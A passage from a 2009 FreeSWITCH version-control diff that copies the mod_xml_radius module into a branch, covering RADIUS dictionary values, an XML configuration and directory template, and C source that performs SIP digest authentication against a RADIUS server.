+VALUE           Acct-Terminate-Cause    Port-Preempted          13
+VALUE           Acct-Terminate-Cause    Port-Suspended          14
+VALUE           Acct-Terminate-Cause    Service-Unavailable     15
+VALUE           Acct-Terminate-Cause    Callback                16
+VALUE           Acct-Terminate-Cause    User-Error              17
+VALUE           Acct-Terminate-Cause    Host-Request            18
+
+#
+#	Non-Protocol Integer Translations
+#
+
+VALUE		Auth-Type		Local			0
+VALUE		Auth-Type		System			1
+VALUE		Auth-Type		SecurID			2
+VALUE		Auth-Type		Crypt-Local		3
+VALUE		Auth-Type		Reject			4
+
+#
+#	Cistron extensions
+#
+VALUE		Auth-Type		Pam			253
+VALUE		Auth-Type		Accept			254
+
+#
+#	Experimental Non-Protocol Integer Translations for Cistron-Radiusd
+#
+VALUE		Fall-Through		No			0
+VALUE		Fall-Through		Yes			1
+VALUE		Add-Port-To-IP-Address	No			0
+VALUE		Add-Port-To-IP-Address	Yes			1
+
+#
+#	Configuration Values
+#	uncomment these two lines to turn account expiration on
+#
+
+#VALUE		Server-Config		Password-Expiration	30
+#VALUE		Server-Config		Password-Warning	5
+
+# -*- text -*-
+#
+# dictionary.freeswitch
+#
+# cparker@segv.org
+#
+# Version:	$Id: $
+#
+
+VENDOR		Freeswitch				27880
+
+#
+#	Standard attribute
+#
+BEGIN-VENDOR	Freeswitch
+
+ATTRIBUTE	Freeswitch-AVPair			1	string	Freeswitch
+ATTRIBUTE	Freeswitch-CLID				2	string	Freeswitch
+ATTRIBUTE	Freeswitch-Dialplan			3	string  Freeswitch
+ATTRIBUTE	Freeswitch-Src				4	string  Freeswitch
+ATTRIBUTE	Freeswitch-Dst				5	string  Freeswitch
+ATTRIBUTE	Freeswitch-Src-Channel			6	string  Freeswitch
+ATTRIBUTE	Freeswitch-Dst-Channel			7	string  Freeswitch
+ATTRIBUTE	Freeswitch-Ani				8	string  Freeswitch
+ATTRIBUTE	Freeswitch-Aniii			9	string  Freeswitch
+ATTRIBUTE	Freeswitch-Lastapp			10	string  Freeswitch
+ATTRIBUTE	Freeswitch-Lastdata			11	string  Freeswitch
+ATTRIBUTE	Freeswitch-Disposition			12	string  Freeswitch
+ATTRIBUTE	Freeswitch-Hangupcause			13	integer Freeswitch
+ATTRIBUTE	Freeswitch-Billusec			15	integer Freeswitch
+ATTRIBUTE	Freeswitch-AMAFlags			16	integer Freeswitch
+ATTRIBUTE	Freeswitch-RDNIS			17      string  Freeswitch
+ATTRIBUTE	Freeswitch-Context                      18      string  Freeswitch
+ATTRIBUTE	Freeswitch-Source                       19      string  Freeswitch
+ATTRIBUTE	Freeswitch-Callstartdate		20	string  Freeswitch
+ATTRIBUTE	Freeswitch-Callanswerdate		21	string  Freeswitch
+ATTRIBUTE	Freeswitch-Calltransferdate		22	string  Freeswitch
+ATTRIBUTE	Freeswitch-Callenddate			23	string  Freeswitch
+
+#
+#  Freeswitch-Hangupcause
+#
+VALUE		Freeswitch-Hangupcause		None				0
+VALUE		Freeswitch-Hangupcause		Unallocated-Number		1
+VALUE		Freeswitch-Hangupcause		No-Route-Transit-Net		2
+VALUE		Freeswitch-Hangupcause		No-Route-Destination		3
+VALUE		Freeswitch-Hangupcause		Channel-Unacceptable		6
+VALUE		Freeswitch-Hangupcause		Call-Awarded-Delivery		7
+VALUE		Freeswitch-Hangupcause		Normal-Clearing			16
+VALUE		Freeswitch-Hangupcause		User-Busy			17
+VALUE		Freeswitch-Hangupcause		No-User-Response		18
+VALUE		Freeswitch-Hangupcause		No-Answer			19
+VALUE		Freeswitch-Hangupcause		Subscriber-Absent		20
+VALUE		Freeswitch-Hangupcause		Call-Rejected			21
+VALUE		Freeswitch-Hangupcause		Number-Changed			22
+VALUE		Freeswitch-Hangupcause		Redirecto-To-New-Destination	23
+VALUE		Freeswitch-Hangupcause		Exchange-Routing-Error		25
+VALUE		Freeswitch-Hangupcause		Destination-Out-Of-Order	27
+VALUE		Freeswitch-Hangupcause		Invalid-Number-Format		28
+VALUE		Freeswitch-Hangupcause		Facility-Rejected		29
+VALUE		Freeswitch-Hangupcause		Response-To-Status-Enquiry	30
+VALUE		Freeswitch-Hangupcause		Normal-Unspecified		31
+VALUE		Freeswitch-Hangupcause		Normal-Circuit-Congestion	34
+VALUE		Freeswitch-Hangupcause		Network-Out-Of-Order		38
+VALUE		Freeswitch-Hangupcause		Normal-Temporary-Failure	41
+VALUE		Freeswitch-Hangupcause		Switch-Congestion		42
+VALUE		Freeswitch-Hangupcause		Access-Info-Discarded		43
+VALUE		Freeswitch-Hangupcause		Requested-Chan-Unavail		44
+VALUE		Freeswitch-Hangupcause		Pre-Empted			45
+VALUE		Freeswitch-Hangupcause		Facility-Not-Subscribed		50
+VALUE		Freeswitch-Hangupcause		Outgoing-Call-Barred		52
+VALUE		Freeswitch-Hangupcause		Incoming-Call-Barred		54
+VALUE		Freeswitch-Hangupcause		Bearercapability-Notauth	57
+VALUE		Freeswitch-Hangupcause		Bearercapability-Notavail	58
+VALUE		Freeswitch-Hangupcause		Service-Unavailable		63
+VALUE		Freeswitch-Hangupcause		Bearercapability-Notimpl	65
+VALUE		Freeswitch-Hangupcause		Chan-Not-Implemented		66
+VALUE		Freeswitch-Hangupcause		Facility-Not-Implemented	69
+VALUE		Freeswitch-Hangupcause		Service-Not-Implemented		79
+VALUE		Freeswitch-Hangupcause		Invalid-Call-Reference		81
+VALUE		Freeswitch-Hangupcause		Incompatible-Destination	88
+VALUE		Freeswitch-Hangupcause		Invalid-Msg-Unspecified		95
+VALUE		Freeswitch-Hangupcause		Mandatory-IE-Missing		96
+VALUE		Freeswitch-Hangupcause		Message-Type-Nonexist		97
+VALUE		Freeswitch-Hangupcause		Wrong-Message			98
+VALUE		Freeswitch-Hangupcause		IE-Nonexist			99
+VALUE		Freeswitch-Hangupcause		Invalid-IE-Contents		100
+VALUE		Freeswitch-Hangupcause		Wrong-Call-State		101
+VALUE		Freeswitch-Hangupcause		Recovery-On-Timer-Expire	102
+VALUE		Freeswitch-Hangupcause		Mandatory-IE-Length-Error	103
+VALUE		Freeswitch-Hangupcause		Protocol-Error			111
+VALUE		Freeswitch-Hangupcause		Interworking			127
+VALUE		Freeswitch-Hangupcause		Success				142
+VALUE		Freeswitch-Hangupcause		Originator-Cancel		487
+VALUE		Freeswitch-Hangupcause		Crash				500
+VALUE		Freeswitch-Hangupcause		System-Shutdown			501
+VALUE		Freeswitch-Hangupcause		Lose-Race			502
+VALUE		Freeswitch-Hangupcause		Manager-Request			503
+VALUE		Freeswitch-Hangupcause		Blind-Transfer			600
+VALUE		Freeswitch-Hangupcause		Attended-Transfer		601
+VALUE		Freeswitch-Hangupcause		Allotted-Timeout		602
+VALUE		Freeswitch-Hangupcause		User-Challenge			603
+VALUE		Freeswitch-Hangupcause		Media-Timeout			604
+VALUE		Freeswitch-Hangupcause		Picked-Off			605
+VALUE		Freeswitch-Hangupcause		User-Not-Registered		606
+
+#
+#
+#
+
+END-VENDOR	Freeswitch
+
+#ATTRIBUTE       Digest-Response                         206     string
+#ATTRIBUTE       Digest-Attributes                       207     octets  # stupid format
+
+

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/mod_xml_radius.conf.xml

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/mod_xml_radius.conf.xml (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/conf/mod_xml_radius.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/mod_xml_radius.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/mod_xml_radius.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,48 @@
+<configuration name="mod_xml_radius.conf" description="XML RADIUS Configuration">
+	<bindings>
+		<binding name="directory"/>
+		<!-- <binding name="dialplan"/> -->
+	</bindings>
+	<settings>
+		<!-- location of the radius dictionary file -->
+		<param name="dictionary" value="/usr/local/freeswitch/conf/radius/dictionary"/>
+		<!-- location of the radius sequence file -->
+		<param name="seqfile" value="/var/run/radius_auth.seq"/>
+
+		<!-- accounting servers, up to 8 allowed -->
+		<!-- value is "host:port:secret", port is optional -->
+		<!-- use IP ADDRESSES, not hostnames -->
+		<param name="authserver" value="127.0.0.1:1812:testing123"/>
+		<!--<param name="authserver" value="10.0.0.254:1813:testing123"/> -->
+		<!--<param name="authserver" value="192.168.10.10:1813:testing123"/> -->
+
+		<!-- number of retries for each server -->
+		<param name="radius_retries" value="3"/>
+		<!-- number of seconds to wait between retries -->
+		<param name="radius_timeout" value="5"/>
+		<!-- The length of time in seconds that we skip a nonresponsive RADIUS
+			 server for transaction requests. Server(s) being in the "dead" state
+			 are tried only after all other non-dead servers have been tried and
+			 failed or timeouted. The deadtime interval starts when the server
+			 does not respond to an authentication/accounting request transmissions.
+			 When the interval expires, the "dead" server would be re-tried again,
+			 and if it's still down then it will be considered "dead" for another
+			 such interval and so on. This option is no-op if there is only one
+			 server in the list. Set to 0 in order to disable the feature. -->
+		<param name="radius_deadtime" value="0"/>
+	</settings>
+	<templates>
+
+    	<template name="not_found">
+      	  	<document type="freeswitch/xml">
+        		<section name="result">
+          			<result status="not found"/>
+        		</section>
+      		</document>
+    	</template>
+
+        <X-PRE-PROCESS cmd="include" data="xml_radius_templates/*.xml"/>
+
+	</templates>
+</configuration>
+

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/xml_radius_templates (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/conf/xml_radius_templates)

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/xml_radius_templates/directory.xml

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/xml_radius_templates/directory.xml (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/conf/xml_radius_templates/directory.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/xml_radius_templates/directory.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/xml_radius_templates/directory.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+<include>
+  <template name="directory">
+    <document type="freeswitch/xml">
+	<section name="directory" description="arbitrary stuff here">
+<domain name="${domain}">
+          <groups>
+            <group name="default">
+              <users>
+                <user id="${user}" number-alias="${radius_alias}">
+                  <params>
+                      <param name="vm-password" value="${radius_vm_pass}"/>
+                    </params>
+                    <variables>
+                      <variable name="international" value="${radius_international}"/>
+                      <variable name="usenat" value="${radius_natuser}"/>
+                    </variables>
+                  </user>
+                </users>
+              </group>
+            </groups>
+          </domain>
+        </section>
+    </document>
+  </template>
+</include>

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.c

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.c (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/mod_xml_radius.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,634 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Chris Parker <cparker@segv.org>
+ *
+ * mod_xml_radius.c -- use radius to realtime create xml directory, dialplan bindings 
+ *
+ */
+#include <switch.h>
+#include <sys/stat.h>
+#include <freeradius-client.h>
+#include "mod_xml_radius.h"
+
+typedef enum {
+        XML_RADIUS_DIRECTORY = 0,
+        XML_RADIUS_DIALPLAN = 0,
+} xml_radius_query_type_t;
+
+#define XML_RADIUS_SYNTAX "[debug_on|debug_off]"
+
+static char cf[] = "mod_xml_radius.conf";
+static char my_dictionary[PATH_MAX];
+static char my_seqfile[PATH_MAX];
+static char *my_deadtime;       /* 0 */
+static char *my_timeout;        /* 5 */
+static char *my_retries;        /* 3 */
+static char my_servers[SERVER_MAX][255];
+
+static struct {
+    int shutdown;
+	switch_memory_pool_t *pool;
+	switch_mutex_t *mutex;
+    switch_thread_rwlock_t *rwlock;
+	switch_xml_t templates_tag;
+} globals;
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_xml_radius_load);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_radius_shutdown);
+SWITCH_MODULE_DEFINITION(mod_xml_radius, mod_xml_radius_load, mod_xml_radius_shutdown, NULL);
+
+static switch_bool_t debug = SWITCH_FALSE;
+
+#if 0
+static int logi = 0;
+static void logger(char *str)
+{
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DEBUG[%i] [%s]\n", ++logi, str);
+}
+#endif
+
+
+static rc_handle *my_radius_init(void)
+{
+    int i = 0;
+    rc_handle *rad_config;
+
+    rad_config = rc_new();
+
+    if (rad_config == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Error initializing rc_handle!\n");
+        return NULL;
+    }
+
+    rad_config = rc_config_init(rad_config);
+
+    if (rad_config == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "error initializing radius config!\n");
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    /* Some hardcoded ( for now ) defaults needed to initialize radius */
+    if (rc_add_config(rad_config, "auth_order", "radius", "mod_xml_radius.c", 0) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting auth_order = radius failed\n");
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    if (rc_add_config(rad_config, "seqfile", my_seqfile, "mod_xml_radius.c", 0) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting seqfile = %s failed\n", my_seqfile);
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+
+    /* Add the module configs to initialize rad_config */
+
+    for (i = 0; i < SERVER_MAX && my_servers[i][0] != '\0'; i++) {
+        if (rc_add_config(rad_config, "authserver", my_servers[i], cf, 0) != 0) {
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting authserver = %s failed\n", my_servers[i]);
+            rc_destroy(rad_config);
+            return NULL;
+        }
+    }
+
+    if (rc_add_config(rad_config, "dictionary", my_dictionary, cf, 0) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed setting dictionary = %s failed\n", my_dictionary);
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    if (rc_add_config(rad_config, "radius_deadtime", my_deadtime, cf, 0) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting radius_deadtime = %s failed\n", my_deadtime);
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    if (rc_add_config(rad_config, "radius_timeout", my_timeout, cf, 0) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting radius_timeout = %s failed\n", my_timeout);
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    if (rc_add_config(rad_config, "radius_retries", my_retries, cf, 0) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting radius_retries = %s failed\n", my_retries);
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    /* Read the dictionary file(s) */
+    if (rc_read_dictionary(rad_config, rc_conf_str(rad_config, "dictionary")) != 0) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "reading dictionary file(s): %s\n", my_dictionary);
+        rc_destroy(rad_config);
+        return NULL;
+    }
+
+    return rad_config;
+}
+
+
+SWITCH_STANDARD_API(xml_radius_function)
+{
+	if (session) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (switch_strlen_zero(cmd)) {
+		goto usage;
+	}
+
+	if (!strcasecmp(cmd, "debug_on")) {
+		debug = SWITCH_TRUE;
+	} else if (!strcasecmp(cmd, "debug_off")) {
+		debug = SWITCH_FALSE;
+	} else {
+		goto usage;
+	}
+
+	stream->write_function(stream, "OK\n");
+	return SWITCH_STATUS_SUCCESS;
+
+  usage:
+	stream->write_function(stream, "USAGE: %s\n", XML_RADIUS_SYNTAX);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+typedef struct xml_binding {
+	char *bindings;
+} xml_binding_t;
+
+
+static switch_status_t xml_radius_expand_tag(switch_xml_t xml_in, switch_event_t *params, switch_xml_t xml_out, int *off)
+{
+    switch_xml_t xml_in_tmp = NULL;
+    int i;
+
+	if (switch_strlen_zero(xml_out->name)) {
+		xml_out->name = strdup(xml_in->name);
+	} else if (!(xml_out = switch_xml_add_child_d(xml_out, xml_in->name, *off++))) {
+        return SWITCH_STATUS_FALSE;
+    }
+    for (i = 0; xml_in->attr[i]; i+=2) {
+        char *tmp_attr;
+        tmp_attr = switch_event_expand_headers(params, xml_in->attr[i+1]);
+            switch_xml_set_attr(xml_out, xml_in->attr[i], tmp_attr);
+    }
+	for (xml_in_tmp = xml_in->child; xml_in_tmp; xml_in_tmp = xml_in_tmp->ordered) {
+        xml_radius_expand_tag(xml_in_tmp, params, xml_out, off);
+    }
+	return SWITCH_STATUS_SUCCESS;
+}
+	
+
+static switch_status_t xml_radius_expand_template(char *template_name, switch_event_t *params, switch_xml_t xml_out, int *off)
+{
+    switch_xml_t template_tag = NULL, sub_tag = NULL;
+
+    for (template_tag = switch_xml_child(globals.templates_tag, "template"); template_tag; template_tag = template_tag->next) {
+        char *template_tag_name = (char*) switch_xml_attr_soft(template_tag, "name");
+        if (!strcmp(template_tag_name, template_name)) {
+			for (sub_tag = template_tag->child; sub_tag; sub_tag = sub_tag->ordered) {
+		        xml_radius_expand_tag(sub_tag, params, xml_out, off);
+	        }
+            return SWITCH_STATUS_SUCCESS;
+        }
+    }
+    return SWITCH_STATUS_FALSE;
+}
+
+
+
+static switch_xml_t xml_radius_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
+{
+	xml_binding_t *binding = (xml_binding_t *) user_data;
+	switch_event_header_t *hi;
+	xml_radius_query_type_t query_type;
+	switch_event_t *rad_event;
+	rc_handle *rad_config;
+    VALUE_PAIR *send = NULL;
+	VALUE_PAIR *received = NULL;
+	VALUE_PAIR *vp = NULL;
+	char msg[4096];
+    uint32_t client_port = 0;
+	char *uuid_str, *user_name, *digest_response, *digest_realm, *digest_nonce, *digest_cnonce, 
+         *digest_method, *digest_uri, *digest_algorithm, *digest_username, *digest_qop, *digest_nc ;
+
+	switch_xml_t xml_out = NULL;
+	if ((xml_out = switch_xml_new(""))) {
+		//switch_xml_set_attr_d(xml_out, "document type", "freeswitch/xml");
+	}
+
+	/*int off = 0; */
+	int off = 0, ret = 1;
+
+	if (debug) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "DEBUG in xml_radius_search Section: %s, Tag: %s, Key: %s, Value: %s\n", section, tag_name, key_name, key_value);
+	}
+
+	if (!binding) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No bindings... sorry bud returning now\n");
+		return NULL;
+	}
+	if (!strcmp(section, "directory")) {
+		query_type = XML_RADIUS_DIRECTORY;
+	} else if (!strcmp(section, "dialplan")) {
+		query_type = XML_RADIUS_DIALPLAN;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid section: %s\n", section);
+		return NULL;
+	}
+
+	if (params) {
+		if ((hi = params->headers)) {
+			for (; hi; hi = hi->next) {
+				if (debug == SWITCH_TRUE) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DEBUG in xml_radius_search, header [%s]=[%s]\n", hi->name, hi->value);
+				}
+			}
+			//xml_odbc_render_template(globals.template, params, xml_out, &off); // TODO globals.template should be replace with something specific for this section
+		}
+	} else {
+		goto cleanup;
+	}
+
+	uuid_str = switch_event_get_header(params, "Core-UUID");
+	digest_response = switch_event_get_header(params, "sip_auth_response");
+	digest_realm = switch_event_get_header(params, "sip_auth_realm");
+	digest_nonce = switch_event_get_header(params, "sip_auth_nonce");
+	digest_cnonce = switch_event_get_header(params, "sip_auth_cnonce");
+	digest_method = switch_event_get_header(params, "sip_auth_method");
+    digest_uri = switch_event_get_header(params, "sip_auth_uri");
+    digest_algorithm = switch_event_get_header(params, "sip_auth_algorithm");
+    digest_username = switch_event_get_header(params, "sip_auth_username");
+	digest_qop = switch_event_get_header(params, "sip_auth_qop");
+	digest_nc = switch_event_get_header(params, "sip_auth_nc");
+
+	if(digest_algorithm == NULL) {
+		digest_algorithm = switch_mprintf("MD5");
+	} 
+
+	if( (uuid_str == NULL) || 
+        (digest_response == NULL) ||
+		(digest_realm == NULL) ||
+		(digest_nonce == NULL) ||
+		(digest_method == NULL) ||
+		(digest_uri == NULL) ||
+		(digest_algorithm == NULL) ||
+		(digest_username == NULL)
+	  ) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "[mod_xml_radius] Insufficient headers to perform digest auth\n");
+		/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s:%s:%s:%s:%s:%s:%s:%s", uuid_str, digest_response, digest_realm, digest_nonce, digest_method, digest_uri, digest_algorithm, digest_username); */
+		return NULL;
+	}
+
+
+    user_name = switch_mprintf("%s@%s", digest_username, digest_realm);
+
+	/* Initialize RADIUS and add attributes to the AUTH REQUEST packet */
+
+	if(switch_event_dup(&rad_event, params) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed creating radius event.\n");
+	    return NULL;
+	}
+	
+    switch_thread_rwlock_rdlock(globals.rwlock);
+
+    rad_config = my_radius_init();
+
+	if (rad_config == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Error initializing radius\n");
+        goto cleanup;
+    }
+
+	if (rc_avpair_add(rad_config, &send, PW_ACCT_SESSION_ID, uuid_str, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Acct-Session-ID: %s\n", uuid_str);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+	if (rc_avpair_add(rad_config, &send, PW_USER_NAME, user_name, -1, 0) == NULL) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding User-Name: %s\n", user_name);
+		rc_destroy(rad_config);
+		goto cleanup;
+	}
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_RESPONSE, digest_response, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Response: %s\n", digest_response);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_REALM, digest_realm, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Realm: %s\n", digest_realm);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_NONCE, digest_nonce, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Nonce: %s\n", digest_nonce);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+	if(digest_cnonce != NULL) {
+		if (rc_avpair_add(rad_config, &send, PW_DIGEST_CNONCE, digest_cnonce, -1, 0) == NULL) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest CNonce: %s\n", digest_cnonce);
+			rc_destroy(rad_config);
+			goto cleanup;
+		}
+	} else {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Missing Digest CNonce\n");
+    }
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_METHOD, digest_method, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Method: %s\n", digest_method);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_URI, digest_uri, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest URI: %s\n", digest_uri);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_ALGORITHM, digest_algorithm, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Algorithm: %s\n", digest_algorithm);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+    if (rc_avpair_add(rad_config, &send, PW_DIGEST_USER_NAME, digest_username, -1, 0) == NULL) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Username: %s\n", digest_username);
+        rc_destroy(rad_config);
+        goto cleanup;
+    }
+
+	if(digest_qop != NULL) {
+		if (rc_avpair_add(rad_config, &send, PW_DIGEST_QOP, digest_qop, -1, 0) == NULL) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest QOP: %s\n", digest_qop);
+			rc_destroy(rad_config);
+			goto cleanup;
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Missing Digest QOP.\n");
+	}
+
+	
+    if(digest_nc != NULL) {
+        if (rc_avpair_add(rad_config, &send, PW_DIGEST_NONCE_COUNT, digest_nc, -1, 0) == NULL) {
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed adding Digest Nonce Counce: %s\n", digest_nc);
+            rc_destroy(rad_config);
+            goto cleanup;
+        }
+    } else {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Missing Nonce Count.\n");
+    }
+
+	/* SEND IT! */
+
+    if(rc_auth(rad_config, client_port, send, &received, msg) == OK_RC) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Auth Success.\n");
+
+		char name[2048], value[2048]; /* more than enough for radius attribute */
+		char *split[2];	
+		/* walk the received radius value-pairs and print them out */
+		vp = received;
+		while(vp) {
+			strncpy(name, "radius_", 7);
+			rc_avpair_tostr(rad_config, vp, name+7, sizeof(name)-7, value, sizeof(value));	
+			if(debug == SWITCH_TRUE) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "[mod_xml_radius] Received AVP: %s = %s\n", name, value);
+			}
+			/* if name = Freeradius-AVPair then value contains a 'name="value"' string we need to parse out */
+			if(strcmp(name,"Freeradius-AVPair")) {
+				if(switch_separate_string(value,'=',split, (sizeof(split) / sizeof(split[0]))) == 2) {
+					strncpy(name+7, split[0], sizeof(name)-7);
+					strncpy(value, split[1], sizeof(value));
+				}
+			}
+			if(switch_event_add_header_string(rad_event, SWITCH_STACK_BOTTOM, name, value)	!= SWITCH_STATUS_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Failed to add header: %s = %s\n", name, value);
+			}
+			vp = vp->next;
+
+		}
+
+		if(query_type == XML_RADIUS_DIRECTORY) {
+			xml_radius_expand_template("directory", rad_event, xml_out, &off);
+		} else if(query_type == XML_RADIUS_DIALPLAN) {
+			xml_radius_expand_template("dialplan", rad_event, xml_out, &off);
+		}
+
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[mod_xml_radius] Auth Rejected!\n");
+
+		/* TO DO: Generate the Failure XML Here fromt the Reply Attributes */
+
+	    /* Return "NOT FOUND" template */
+
+		xml_radius_expand_template("not_found", rad_event, xml_out, &off);	
+
+    }
+
+	if ((hi = rad_event->headers)) {
+        for (; hi; hi = hi->next) {
+            if (debug == SWITCH_TRUE) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DEBUG in xml_radius_search, new haeader [%s]=[%s]\n", hi->name, hi->value);
+            }
+        }
+    }
+
+    rc_destroy(rad_config);
+    rc_avpair_free(send);
